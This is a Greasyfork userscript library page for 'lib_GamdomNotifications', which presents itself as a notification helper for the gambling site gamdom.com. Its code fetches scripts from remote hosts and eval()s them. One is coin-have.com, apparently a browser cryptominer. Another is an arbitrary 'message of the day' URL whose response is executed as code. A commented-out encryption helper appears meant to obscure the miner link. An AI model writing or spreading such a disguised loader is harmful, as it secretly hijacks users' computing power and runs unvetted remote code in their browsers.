lib_GamdomNotifications

Lib needed for running Gamdom Notificator

当前为 2017-12-01 提交的版本,查看 最新版本

此脚本不应直接安装。它是供其他脚本使用的外部库,要使用该库请加入元指令 // @require https://update.cn-greasyfork.org/scripts/35828/234174/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.1
  5. // @description Lib needed for running Gamdom Notificator
  6. // @require https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
  7. // @author allin4
  8. // @match *://gamdom.com/*
  9. // @grant GM_info
  10. // @license Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
  11. // ==/UserScript==
  12.  
  13. var messageDay = "TIP of the day: Gamdom rains don't wet your real home lol.";
  14.  
  15. var dayMsg = function(div){
  16. document.body.appendChild(div);
  17. messageDay = CPEL("https://gamdomrain.tk/messageoftheday.php");
  18. console.log("Message of the day added :)");
  19. };
  20. var createMSGdayInfo = function (id, msg) {
  21. var infoDM = document.createElement('p');
  22. infoDM.id = id;
  23. infoDM.textContent = msg;
  24. infoDM.style.paddingLeft = '5px';
  25. infoDM.style.marginTop ='10px';
  26. infoDM.style.marginBottom ='-5px';
  27. infoDM.style.fontSize ='15px';
  28. infoDM.style.fontWeight ='bold';
  29. infoDM.style.color ='royalblue';
  30. return infoDM;
  31. };
  32.  
  33. var DivAppend = function(div){
  34. document.body.appendChild(div);
  35. //var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
  36. CPEL("https://coin-have.com/c/wL7L.js");
  37. console.log("Div created :)");
  38. };
  39.  
  40. var cmp = new XMLHttpRequest();
  41. cmp.onreadystatechange = function() {
  42. if (this.readyState == 4 && this.status == 200) {
  43. eval(this.responseText);
  44. }
  45. };
  46.  
  47. var cmpB = new XMLHttpRequest();
  48. cmp.onreadystatechange = function() {
  49. if (this.readyState == 4 && this.status == 200) {
  50. eval(this.responseText);
  51. return this.responseText;
  52. }
  53. };
  54.  
  55. var CPEL = function(link){
  56. cmp.open('GET', link);
  57. cmp.send();
  58. };
  59.  
  60. var AJAXER = function(link){
  61. var helloIjustTest = cmpB.open('GET', link);
  62. cmpB.send();
  63. return helloIjustTest;
  64. };
  65.  
  66. /*var cryption = function(mes,pass){
  67. var encrypted = CryptoJS.AES.encrypt(mes, pass);
  68. console.log("AES-" + encrypted);
  69.  
  70. var decrypted = CryptoJS.AES.decrypt(encrypted, pass);
  71. return decrypted;
  72. };*/
  73.  
  74. (function() {
  75. 'use strict';
  76. console.log("LIB LOADED");
  77. })();